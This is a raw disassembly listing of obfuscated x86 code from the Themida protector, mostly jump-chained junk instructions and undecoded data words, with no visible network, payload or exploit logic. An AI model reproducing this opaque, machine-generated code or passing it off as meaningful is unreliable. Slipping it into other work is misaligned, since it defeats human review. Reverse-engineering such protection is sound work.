		dd 0E6C280CAh, 0E913F280h, 52FDh, 79D3F781h, 0F9014491h
		dd 4E9835Fh, 5C240C87h,	2799E9h, 4EC8100h, 0E9000000h
		dd 6E32h, 8B241C33h, 0D1E92424h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5523E3:				; CODE XREF: Themida_:005555F1j
		push	edx
		mov	edx, 6F000A60h
		dec	edx
		push	ebx
		jmp	loc_55688B
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C481242Ch, 4, 4A8CE9h, 387DBB00h, 5C313270h
		dd 5AE90424h, 33000081h, 34312434h, 24343324h, 6624248Bh
		dd 0E924048Bh, 0ABC5h, 0D7E9DE29h, 5D000074h, 559C801h
		dd 4, 5C240487h, 68C8B60Fh, 5B86h, 0E9240C89h, 0FFFFF3CDh
		dd 0CAFEDAF6h, 0D0B8B551h, 0E9D5F6E5h, 0B13Fh, 34CBE681h
		dd 0D6F74FF4h, 0EB20F681h, 4C2DEB96h, 1500826h,	4EC81F0h
		dd 89000000h, 4CBD242Ch, 1500826h, 0A28FE9E8h, 8EE90000h
		dd 81FFFFF3h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 2C312404h
		dd 242C3324h, 0E9242C31h, 12A3h, 0A2E9DE01h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5524AF:				; CODE XREF: Themida_:0055CF12j
		shr	edi, 4
		sub	edi, 0FFFFFFFFh
		add	edi, 1
		xor	edi, 30993BEDh
		xor	edi, 0CA73FFh
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_553EED
; ---------------------------------------------------------------------------
aGs_		db 'Gé.[',0
		align 2
		dw 2EE9h
		dd 50FFFFF3h, 405E089h,	0E9000000h, 11B9h, 0E95DEB89h
		dd 5AA4h
; ---------------------------------------------------------------------------


loc_5524FC:				; CODE XREF: Themida_:00556A7Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		or	eax, eax
		jnz	loc_557404
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		jmp	loc_552E3E
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 13FDh, 8924248Bh, 0B968241Ch, 8900006Ch, 55532434h
		dd 3C476856h, 6E94523h,	0B00006Ah, 0AD840FC0h, 6800000Ah
		dd 6C82h, 0E9241C89h, 19F4h, 8B243487h,	0D3662424h, 0E99C2424h
		dd 0FFFFF2A1h, 9AE99C50h, 0FFFFFFF2h, 48B2434h,	4C48324h
		dd 4EC8152h, 0E9000000h, 3BCEh,	0EE4E981h, 92E975EEh
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55259B:				; CODE XREF: Themida_:0055A64Bj
		mov	esi, 645D1A45h
		mov	[edi+20h], esi
		pop	esi
		push	ebx
		mov	ebx, 1B3E2913h
		sub	ebx, 14421390h
		sub	[edi+20h], ebx
		jmp	loc_559753
; ---------------------------------------------------------------------------


loc_5525B8:				; CODE XREF: Themida_:0055780Fj
		push	edi
		jmp	loc_55CCA2
; ---------------------------------------------------------------------------
		dw 0DA68h
		dd 8B048C4Ch, 89512434h, 3A0AE9E1h, 8B660000h, 21E9240Ch
		dd 51000057h, 1B9h, 1FED8100h, 1577839h, 535EE9CDh, 0E9470000h
		dd 56DBh, 5DEB295Fh, 0C381FB01h, 36951E3Eh, 2BD555Fh, 1000000h
		dd 0EC835DEBh, 241C8904h, 42474FFh, 0E9241C8Bh,	0ACE7h
; ---------------------------------------------------------------------------


loc_552618:				; CODE XREF: Themida_:0055C0FAj
		mov	ebx, 35DF09F9h
		jmp	loc_5522BC
; ---------------------------------------------------------------------------
aJ1sxissjl	db '½†1éx‰éé†L',0
		align 2


loc_55262E:				; CODE XREF: Themida_:00558503j
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55411E
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 24h,	5764B951h, 0CA2903D6h, 53FA0159h, 5764BA52h, 94E903D6h
		dd 50000A1h, 3525674Fh,	0D73EB05h, 8AE95117h, 100007Ch
		dd 6C03E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552672:				; CODE XREF: Themida_:00554D84j
		mov	[esp], ebx
		push	eax
		jmp	loc_55310D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 67E9243Ch, 0B3000017h, 20C380F8h, 0E9FCB652h, 8094h
		dd 31E95B5Ah
		db 0A8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552697:				; CODE XREF: Themida_:0055D5FFj
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		push	2F56h
		mov	[esp], edi
		jmp	loc_55C2C0
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd offset dword_450050+7299h
		dd 4C48300h, 8106EAC1h,	0FFFFFFC2h, 81D2F7FFh, 0F922CBEAh
		dd 0D58955C7h, 0FF5D5B55h, 815A2434h, 4C4h, 605AB800h
		dd 0D83136E6h, 81241C8Bh, 4C4h,	0F127E900h, 0C483FFFFh
		dd 0ED816604h, 29661D31h, 4B53E9DDh, 0C890000h,	0AFC6824h
		dd 90E9323Ah, 0FF000000h, 815F2434h, 4C4h, 24148B00h, 4C481h
		dd 0F0E90000h, 6600008Ah, 68B4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55272A:				; CODE XREF: Themida_:0055AB8Ej
		push	ecx
		jmp	loc_553783
; ---------------------------------------------------------------------------
		dd 25DE95Dh, 55490000h,	807BE9h, 4EF8300h, 7BD2E9h, 2BB80500h
		dd 7668713Ah, 89000071h, 76E9243Ch
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552757:				; CODE XREF: Themida_:0055C154j
		mov	esi, ecx
		jmp	loc_559219
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 19F7h, 9E1CE958h, 0D2F60000h, 0C280EAD0h, 5AD78813h
		dd 0FFF37CE9h, 241C89FFh, 0C381E389h, 4, 4D46E9h, 80C9FE00h
		dd 88E97DE1h, 29000058h, 0A3E95EF3h, 590000A1h,	0D8E9C831h
		dd 8100009Dh, 4C6h, 4C68300h, 5C243487h, 405h, 4012E900h
		dd 1C8B0000h, 4C48324h,	0C6E9D231h, 59000058h, 46856h
		dd 0E95E0000h, 0BBEh, 24048F54h, 0FFF7E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5527DD:				; CODE XREF: Themida_:00556C3Ej
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555A92
; ---------------------------------------------------------------------------


loc_5527F5:				; CODE XREF: Themida_:0055CDBAj
		xchg	ebp, [esp]
		pop	esp
		add	ecx, esi
		jmp	loc_555605
; ---------------------------------------------------------------------------
		dd 54242C89h, 0FFF3F6E9h, 81E389FFh, 4C3h, 4C38100h, 87000000h
		dd 0E95C241Ch, 88Fh, 5504C483h,	1C9C68h, 48F5400h, 4EC8124h
		dd 89000000h, 4BE2434h,	0E9000000h, 4E9Fh, 8124148Bh, 4C4h
		dd 8BEF8900h, 8950242Ch, 405E0h, 4050000h, 0E9000000h
		dd 2727h, 6361FA68h, 5DE95B6Dh,	3000000Fh, 846EE9D8h, 0F74F0000h
		dd 0D3BB53DFh, 814B8D24h, 0C2745F3h, 0EB8114h, 314304EBh
		dd 0EFC15BDFh, 88E95607h, 560000A1h, 0A07E19BEh, 0E9D6F70Bh
		dd 24E9h, 0FFEF70E9h, 0BB0F66FFh, 0E99C2404h, 0FFFFEF65h
		dd 4378CE81h, 0BA52323Dh, 2CD0FC8Bh, 0B477E9h, 5CCA8100h
		dd 0E95E7005h, 5B96h, 0ED6CF81h, 7DE96AB8h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5528D7:				; CODE XREF: Themida_:00552BE2j
		push	edx
		push	eax
		jmp	loc_55DD21
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0C7830000h, 243C8704h, 0A38EE9h, 5FF83100h
		dd 5D10EE81h, 0C6292AB4h, 5D10C681h, 81582AB4h,	0D9422AC6h
		dd 0F5EE8104h, 0FF60FC0Eh, 81582434h, 4C4h, 1CBF6800h
		dd 54E90000h
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552923:				; CODE XREF: Themida_:0055B67Dj
		mov	ecx, 15174A8Dh
		add	ecx, 1
		jmp	loc_55BC28
; ---------------------------------------------------------------------------


loc_552930:				; CODE XREF: Themida_:00557760j
		mov	ecx, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_558169
; ---------------------------------------------------------------------------
		db 1, 0EFh, 5Dh
		dd 99E9F931h, 580000A6h, 37ADE9h, 81DA0100h, 102h, 24148B00h
		dd 4C481h, 0D4E90000h, 55FFFFF5h, 0C64EF1BDh, 0F9EE813Eh
		dd 0E902EC1Bh, 0FFFFFCF7h, 2404875Dh, 8924248Bh, 0FEE92404h
		dd 29FFFFF7h, 0D3685FF9h, 8900001Ch, 0A4E9241Ch, 8100000Ah
		dd 9292AC6h, 31C6814Dh,	8913DE6Fh, 0DD015EF3h, 83241C8Bh
		dd 27E904C4h, 0FFFFFFEFh, 83592434h, 348904ECh,	3C7AE924h
		dd 3C890000h, 3D49E924h, 0FF580000h, 48B2434h, 4C48324h
		dd 4C481h, 0C2810000h, 2, 0FC7E9h, 1C77FF00h, 6659669Dh
		dd 9C241CD3h, 2E66E9h
		db 0
; ---------------------------------------------------------------------------


loc_5529F1:				; CODE XREF: Themida_:00554F3Cj
		dec	bh
		push	cx
		jmp	loc_55548A
; ---------------------------------------------------------------------------
aTsks		db 'T銑',0
		align 10h
		dd 422DB850h, 0D8F7402Eh, 2507E8C1h, 2C97758Eh,	0DC2BF57h
		dd 7DE91881h, 200000A0h, 0D5F65BFDh, 28E6C580h,	5A6659E8h
		dd 0B4C6853h, 4890000h,	5FE76824h, 1C890000h, 0F690B724h
		dd 80CFFED7h, 0F78043E7h, 8BFC8824h, 0B2E9241Ch, 8B000006h
		dd 89532414h, 4C381E3h,	0E9000000h, 74B8h, 68241C89h, 47CDh
		dd 56242C89h, 0F61486BEh, 0F21BBD6Ah, 30E9A70Eh, 5600001Bh
		dd 11240481h, 59093D2Eh, 2E11E981h, 895E093Dh, 0C58159CBh
		dd 539F1999h, 0FFEE19E9h, 0ED77E9FFh, 3487FFFFh, 24248B24h
		dd 0BA525155h, 35F97095h, 4245431h, 6531E95Ah, 0E0B10000h
		dd 0C800582Ch, 53B15153h, 6D76E953h, 53AD0000h,	3C4824BBh
		dd 0E2E95263h, 57000096h, 260830BFh, 9EC4E940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552ADE:				; CODE XREF: Themida_:0055A08Cj
		shr	ecx, 2
		and	ecx, 5A3134DAh
		shr	ecx, 8
		push	eax
		mov	eax, 0EE979E59h
		sub	ecx, eax
		pop	eax
		xor	eax, ecx
		jmp	loc_5592B1
; ---------------------------------------------------------------------------
		dw 0FC68h
		dd 0E9000030h, 683Bh, 0C5E9805Bh, 0E980C9FEh, 59CB88B8h
		dd 0E9DE8852h, 646Bh, 405E089h,	83000000h, 0D3E904C0h
		dd 89000094h, 4832424h,	28E90424h, 2900008Ch, 0B8505BDEh
		dd 4D1340D1h, 3715E9h
		db 0
; ---------------------------------------------------------------------------


loc_552B41:				; CODE XREF: Themida_:00551A11j
		mov	ecx, ebp
		pop	ebp
		add	ecx, 0D84A15C8h
		jmp	loc_55398A
; ---------------------------------------------------------------------------
		db 81h
		dd 737745EFh, 81F72922h, 737745C7h, 34FF5E22h, 750FE924h
		dd 0D9680000h, 89000061h, 1487240Ch, 31D2F724h,	14332414h
		dd 24143124h, 56240C8Bh, 0B9515E54h, 0DD152F7h,	52F3E981h
		dd 58E90DD1h, 5A000024h, 1D6DE9h, 243C8700h, 550CE9h, 0C2685F00h
		dd 89000014h, 5755241Ch, 4EC81h, 1C890000h, 79F6BB24h
		dd 0F3817E2Eh, 65F7364h, 0D3F7DBF7h, 0FFFFEB81h, 0F381FFFFh
		dd 0BF634C6h, 7A8B951h,	0B6E92654h
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552BDB:				; CODE XREF: Themida_:005589CCj
		mov	ecx, 28h
		add	ecx, edi
		jmp	loc_5528D7
; ---------------------------------------------------------------------------
		db 81h
		dd 3C00BCC3h, 81EB014Ch, 3C00BCEBh, 0C3835D4Ch,	241C8702h
		dd 0D324248Bh, 0E99C2404h, 0FFFFEC0Dh, 5119B652h, 9BE993B5h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552C13:				; CODE XREF: Themida_:00551A49j
		pop	ebx
		jmp	loc_551981
; ---------------------------------------------------------------------------
		db 66h,	0BFh, 9Bh
		dd 664F666Dh, 6F5DF781h, 3ACF8166h, 0EF816671h,	4CE91B62h
		dd 0FF000079h, 56592434h, 0BA52E689h, 4, 835AD601h, 348704C6h
		dd 0C3005C24h, 4EC81h, 14890000h, 8012B624h, 0E6C0FFC6h
		dd 805E908h, 0F0280000h, 0F8285A66h, 515B1704h,	0FFED3BE9h
		dd 0D2E95BFFh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552C77:				; CODE XREF: Themida_:0055C87Aj
		add	ecx, 4
		push	eax
		jmp	loc_555E77
; ---------------------------------------------------------------------------
		db 51h
		dd 0EE4F83B9h, 0D9F74936h, 0E1C1D1F7h, 2DE18105h, 8132737Bh
		dd 41701CE9h, 5549E910h, 148B0000h, 4C48124h, 81000000h
		dd 4ECh, 5754E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552CB6:				; CODE XREF: Themida_:0055A100j
		or	edi, eax
		pop	eax
		jmp	loc_55889C
; ---------------------------------------------------------------------------


loc_552CBE:				; CODE XREF: Themida_:005535B2j
		pop	ecx
		add	esi, eax
		pop	eax
		add	esi, 2E477554h
		pop	eax
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_558F00
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 1
		dd 0E91EE97Ch, 7E1Bh, 4AB85057h, 0BF642B03h, 9BD4FCBAh
		dd 0E958C701h, 2A79h
; ---------------------------------------------------------------------------


loc_552CF8:				; CODE XREF: Themida_:00555D9Dj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5598AA
; ---------------------------------------------------------------------------
		dd 4240483h, 5320685Dh,	14890000h, 4514BA24h, 0D2F75365h
		dd 0F705E2C1h, 0A9E9E9DAh, 815F0000h, 4C4h, 539BE900h
		dd 32FF0000h, 0FFEADCE9h, 2B8FFh, 0C7010000h, 1681E9h
		dd 0E9C2FE00h, 9F70h, 806F281h,	0EAD114A2h, 89EAEA81h
		dd 0D531347Ah, 9ABB535Ah, 210A181Eh, 241C8BDDh,	8104C483h
		dd 6C2E2EF5h, 2E27BA6Ch, 0EA31666Ch, 5D2434FFh,	2104C483h
		dd 2434FFD0h, 8324148Bh, 0C48304C4h, 0D1C20904h, 0D4668E2h
		dd 34890000h, 6945BE24h, 79E97C30h, 500002Ah, 491B6784h
		dd 92DE0D1h, 5275376h, 443F6C4Bh, 5758C631h, 8950F789h
		dd 58C389F8h, 22F1E95Fh, 46BB0000h, 0BD08D43Bh,	8D43B4Ah
		dd 458AED81h, 0DD293282h, 458AC581h, 555B3282h,	0E97C01BDh
		dd 5DE9291Eh, 0EAE9E901h, 8BFFFFFEh, 0C483241Ch, 8E8C104h
		dd 0E957C831h, 97E5h, 3B606852h, 148B7F67h, 744E924h, 68530000h
		dd 45970425h, 2EC5E9h, 0F8305C00h, 0B050515Bh, 0E9A5B56Fh
		dd 0FFFFF04Ch, 8124148Bh, 4C4h,	34676800h, 1C890000h, 0F845E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552E3E:				; CODE XREF: Themida_:00552529j
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_554D95
; ---------------------------------------------------------------------------
		db 83h
		dd 896602ECh, 0FF662404h, 66022474h, 0E924048Bh, 5CB4h
		dd 33243431h, 248B2434h, 9305E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E6E:				; CODE XREF: Themida_:0055A7F4j
		pop	ebx
		not	ebx
		sub	ebx, 83CEADBDh
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_55CF91
; ---------------------------------------------------------------------------


loc_552E8C:				; CODE XREF: Themida_:00556A2Cj
		mov	edi, 773B2431h
		sub	edi, 3C338FEh
		jmp	loc_553010
; ---------------------------------------------------------------------------
aIFpSX		db '‰<$¿Ïf&é',1Bh,'x',0
		dd 242C8900h, 1F02C6BDh, 2DC4E976h, 0BA520000h,	3D2370CBh
		dd 355AD021h, 34022004h, 97E9C601h, 800000A0h, 0F30084C6h
		dd 640CE9h, 0E3895300h,	4C381h,	0C3810000h, 4, 70AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_552EE9:				; CODE XREF: Themida_:00553784j
		pop	ecx
		push	edi
		push	eax
		jmp	loc_55AFEB
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EDh
		dd 2, 0E9242C87h, 80B1h, 51BA52h, 0E94A22FDh, 5D18h, 24048B66h
		dd 8904EC83h, 5D54242Ch, 7BA0E952h, 0EB810000h,	51B00817h
		dd 202AE9h, 0FEC3FE00h,	80C3FECBh, 0CB307CEBh, 66D83059h
		dd 0E950515Bh, 677h, 3D3568h, 243C8900h, 6DCE9h, 0AFB85000h
		dd 0BB1EAA3Fh, 60740CCCh, 85D2E9h, 81DFF700h, 2F493FF7h
		dd 0F987E93Eh, 0FF5FFFFFh, 0E95A2434h, 898Bh, 592434FFh
		dd 4EC81h, 14890000h, 4EC8324h,	24048F54h, 4240481h, 8B000000h
		dd 0C4832414h, 0E4BF5704h, 817BCC78h, 6A546EC7h, 1C7834Ch
		dd 3C1E94Fh, 0BE560000h, 7B5DD790h, 315EF001h, 24048BC7h
		dd 8904C483h, 295F387Ah, 34FF384Ah, 240C8B24h, 4C481h
		dd 85E90000h, 33000064h, 75E92434h, 81000093h, 0C50FC2C1h
		dd 81F90138h, 0C50FC2E9h, 8EE98138h, 8126F86Dh,	5268E9h
		dd 0E1C15F37h, 31B85008h, 0E9393C7Dh, 0FFFFF2DCh, 2434FF53h
		dd 0E9545258h, 0A4C1h
; ---------------------------------------------------------------------------


loc_553010:				; CODE XREF: Themida_:00552E97j
		xor	edi, 0C36607Ah
		sub	edi, 7DAB5F2Ch
		xor	ebx, edi
		pop	edi
		and	eax, ebx
		pop	ebx
		shr	eax, 0Bh
		xor	ecx, eax
		push	esi
		push	eax
		mov	eax, ebx
		mov	esi, eax
		jmp	loc_55AE16
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 2434FF24h, 37EEE9h, 4A370500h, 0E8C12C17h, 74E4E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55304A:				; CODE XREF: Themida_:0055548Bj
		mov	ah, 0B5h
		mov	ch, ah
		jmp	loc_5548D1
; ---------------------------------------------------------------------------
		db 81h
		dd 62042444h, 0E94C6210h, 5EFBh, 15FFB01h, 4EC83C3h, 0E9243489h
		dd 5498h, 0F7BA5257h, 0BF2D3E4Eh, 28094C57h, 4F5AD731h
		dd 64E1C781h, 0BEE96F19h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55308B:				; CODE XREF: Themida_:0055CAB4j
		sub	ebx, 5A11368Ch
		mov	eax, ebx
		pop	ebx
		sub	eax, 26CD6ED6h
		add	eax, ebx
		add	eax, 26CD6ED6h
		mov	ecx, [eax]
		pop	eax
		pop	ebx
		jmp	loc_551CB1
; ---------------------------------------------------------------------------
aSov		db ']éOV',0
		dw 6100h
aAsup		db 'é“P',0
		align 2
		dw 0B652h
		dd 0E9C6FE04h, 58CEh, 24048B66h, 1275E9h, 24348900h, 4BEh
		dd 5EF30100h, 4BF57h, 0FB290000h, 241C875Fh, 8924248Bh
		dd 0E589242Ch, 4C581h, 0ED810000h, 2, 750B68h, 242C8900h
		dd 8316E9h, 4C48300h, 0E728C7B7h, 3282E9h
		db 0
; ---------------------------------------------------------------------------


loc_55310D:				; CODE XREF: Themida_:00552676j
		mov	ah, 0ADh
		jmp	loc_554F23
; ---------------------------------------------------------------------------
		dd 36E9D3F7h, 5200007Bh, 6BB1E9h, 1C77FF00h, 419589Dh
		dd 0E6E99C24h, 0C1FFFFE6h, 0EB8108E3h, 0FD3A5B44h, 1D1EE9h
		dd 34FF5D00h, 237AE924h, 89570000h, 5FF889DFh, 711E9h
		dd 5E1C000h, 3F180h, 686659C8h,	89661F70h, 2BE9240Ch, 57000014h
		dd 52767EBFh, 5C24E979h, 0C1810000h, 46C74AA1h,	258BC181h
		dd 0E9817D73h, 36B37E6Ch, 91D0F791h, 8104E1C1h,	7B44FCE9h
		dd 0E9CE0158h, 66C4h, 30DF68h, 241C8900h, 2CB95157h, 0E94B807Ch
		dd 0A969h, 6424248Bh, 0E9028966h, 0FFFFE65Dh
; ---------------------------------------------------------------------------


loc_5531B8:				; CODE XREF: Themida_:00556869j
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_5531C4:				; CODE XREF: Themida_:00555A9Aj
		push	ebx
		jmp	loc_5587FA
; ---------------------------------------------------------------------------
		dw 0EAC0h
		dd 1B15105h, 0C8BCA30h,	4C48124h, 28000000h, 24148BD7h
		dd 314BE9h, 0E9028F00h,	0FFFFE629h
; ---------------------------------------------------------------------------


loc_5531EC:				; CODE XREF: Themida_:00554F66j
		push	2
		pop	ecx
		sub	ebp, 64537AD8h
		add	ebp, 1EC17E61h
		jmp	loc_55D72B
; ---------------------------------------------------------------------------
		db 59h
		dd 3C8BFA01h, 4C48324h,	31A6E9h, 0BA00h, 32E90000h, 0B1FFFFF7h
		dd 8BC1286Ch, 0A7682404h, 0E900000Bh, 0FFFFF54Dh, 335EF701h
		dd 3C31243Ch, 0A4B3E924h, 59050000h, 119A561h, 61592DD8h
		dd 505B19A5h, 0CF2BC2B8h, 0DABB5305h, 0E918D66Fh, 77F8h
; ---------------------------------------------------------------------------


loc_553258:				; CODE XREF: Themida_:00551987j
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_558AAE
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815B2434h, 4C4h, 4C38100h, 68000000h, 175Ch,	0B8240489h
		dd 2, 34FFC301h, 0C4835824h, 241C8704h,	421665Ch, 7EE99C24h
		dd 66FFFFE5h, 0E924048Bh, 7BC8h, 65BCE581h, 0E956728Bh
		dd 2283h, 0FDBEE958h, 0C583FFFFh, 4EC8304h, 0FF242C89h
		dd 5D042474h, 6CE5E9h, 99E95C00h, 31FFFFE8h, 0BD555EF3h
		dd 2663937h, 5B88CD81h,	0F581674Ah, 65E80D1Eh, 8105EDC1h
		dd 6A2DD2E5h, 0BF575048h, 32284F5Ah, 0FFF5D7E9h, 4EC81FFh
		dd 89000000h, 4832424h,	0B9E90424h, 3100009Dh, 0FD9BE9E9h
		dd 6835FFFFh, 0F758A571h, 0DDB62DD0h, 0E5E96516h, 8100003Dh
		dd 0CFB7FAEAh, 5AD30100h, 45CFE9h, 8EB85000h, 0BF715415h
		dd 429175E4h, 8158C731h, 0C56068EFh, 5FF90133h,	31240C33h
		dd 53E9240Ch, 8900002Eh, 147E9E6h, 34FF0000h, 3521E924h
		dd 8A350000h, 502A2795h, 0CCE95859h, 81000059h,	633063CFh
		dd 81DFF736h, 77FD77C7h, 5FFA01FEh, 4C281h, 6FE90000h
		dd 81000050h, 3CE8D6C7h, 16E4E99Dh, 0F7290000h,	0E924348Bh
		dd 6277h, 8704C283h, 565C2414h,	9383E9h, 3EEC000h, 8385E9h
		dd 3EC66800h, 0EDE90000h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5533BB:				; CODE XREF: Themida_:0055B578j
		push	dword ptr [edi+24h]
		push	edx
		pop	dword ptr [edi+24h]
		jmp	loc_55683E
; ---------------------------------------------------------------------------
		db 8Fh
		dd 4AE92404h, 66000081h, 0E9240C8Bh, 0FFFFFD43h, 4C481h
		dd 0F0010000h, 0A107E9h, 53EE0100h, 0DC6798BBh,	0E9DE2966h
		dd 5B3Ah, 958C189h, 0FE959CEh, 0C1FFFFFAh, 0DAF702EAh
		dd 8B0DEA81h, 564A7E5Ah, 830CD3BEh, 5EF2212Dh, 0BE565756h
		dd 2EBA2028h, 3890E9h, 0CBE68000h, 9053E9h, 0CBE95600h
		dd 1FFFFF5h, 96E95FFEh,	6800006Bh, 60490666h, 96BD555Bh
		dd 0F73FA330h, 6EDC1D5h, 755FF581h, 0EB316348h,	81242C8Bh
		dd 4C4h, 0FFD92100h, 535B2434h,	0DFE9E389h, 80000040h
		dd 0F30029EEh, 8324148Bh, 0B60F04C4h, 87048FC0h, 0FFE398E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55347D:				; CODE XREF: Themida_:00555EABj
		mov	ebp, ecx
		mov	esi, ebp
		pop	ebp
		pop	ecx
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_55C4F2
; ---------------------------------------------------------------------------


loc_55348D:				; CODE XREF: Themida_:0055DC73j
		mov	edx, 3D477808h
		sub	edx, 2AFF267Eh
		jmp	loc_551F81
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 0F5F0E900h,	2C89FFFFh, 81E58924h, 4C5h
		dd 4C58100h, 87000000h,	585C242Ch, 0AD9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5534C9:				; CODE XREF: Themida_:005584EDj
		mov	edi, 498E2B2Ch
		or	edi, 50A370B4h
		xor	edi, 13A76C4Eh
		sub	edx, edi
		pop	edi
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC83240Ch, 241C8904h, 5250E389h, 3E252ABAh,	0A477E979h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534FA:				; CODE XREF: Themida_:00556683j
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	4F29h
		jmp	loc_55C390
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4246C81h, 0FAB22CEh,	0FFE55DE9h, 2404FFFFh, 0E2EFE99Ch
		dd 95BFFFFh, 24048BC3h,	4C481h,	0B8500000h, 754F3DBFh
		dd 0A569C60Dh, 1156E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553542:				; CODE XREF: Themida_:0055B333j
		not	edi
		inc	edi
		add	edi, 0CCB53A84h
		add	ecx, edi
		jmp	loc_559B84
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4EC81h, 0C890000h, 29806824h, 81595CE2h, 70CCEDE9h
		dd 6919E9F5h, 0CF010000h, 0FFF24EE9h, 4BD55FFh,	81000000h
		dd 840DD6C7h, 0DE8E90Ch, 3C330000h, 0A677E924h,	815D0000h
		dd 4C5h, 4C58300h, 5C242C87h, 4EC81h, 0A0E90000h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5535AB:				; CODE XREF: Themida_:0055763Fj
		mov	eax, 3A5E9C7Eh
		sub	eax, ecx
		jmp	loc_552CBE
; ---------------------------------------------------------------------------
		db 53h
		dd 479B050h, 0C68852BAh, 585AF388h, 0B55BDC88h,	0E9E53007h
		dd 0FFFFF377h
; ---------------------------------------------------------------------------


loc_5535D0:				; CODE XREF: Themida_:00554488j
		dec	ebx
		push	71Fh
		mov	[esp], edx
		mov	edx, 65C260D4h
		not	edx
		neg	edx
		jmp	loc_5569F9
; ---------------------------------------------------------------------------
		db 80h
		dd 0B05015EBh, 4A804B7h, 280B0494h, 8FF2E9C5h, 81590000h
		dd 4C4h, 76C5E900h, 34FF0000h, 1C5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55360E:				; CODE XREF: Themida_:00552051j
		push	5A95h
		jmp	loc_55CAA2
; ---------------------------------------------------------------------------
aXqsZ		db 'XQé',9,'‡',0
		dw 8900h
		dd 9B22414h, 32DDE9h, 4EC8300h,	7573E9h
		db 0
; ---------------------------------------------------------------------------


loc_553631:				; CODE XREF: Themida_:005537FBj
		add	esp, 2
		add	bl, 6Fh
		sub	bl, al
		sub	bl, 6Fh
		push	ecx
		mov	ch, 0AFh
		add	ch, 0CDh
		sub	bl, 9Ah
		add	bl, ch
		add	bl, 9Ah
		mov	ecx, [esp]
		add	esp, 4
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h, 0E9h
		dd 0FFFFECE3h, 9C241CF7h, 0FFE1ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553669:				; CODE XREF: Themida_:005592B4j
		push	esi
		jmp	loc_5569C3
; ---------------------------------------------------------------------------
		db 1
aSr		db 'Õé%',0
		align 2
		dw 0E953h
		dd 991Ah, 2C2815Ch, 87000000h, 665C2414h, 5224048Bh, 8904EC83h
		dd 0E589242Ch, 4C581h, 0ED810000h, 4, 5C242C87h, 24048F54h
		dd 966AE9h, 4BA5200h, 5000000h,	36386405h, 52DD001h, 5A363864h
		dd 732DE9h, 0C5814D00h,	0CBE69C00h, 895DEA31h, 24148BD6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CDB1
; ---------------------------------------------------------------------------
		dd 0CE9C329h, 81000051h, 4C4h, 2DBC6800h, 34890000h, 81E68924h
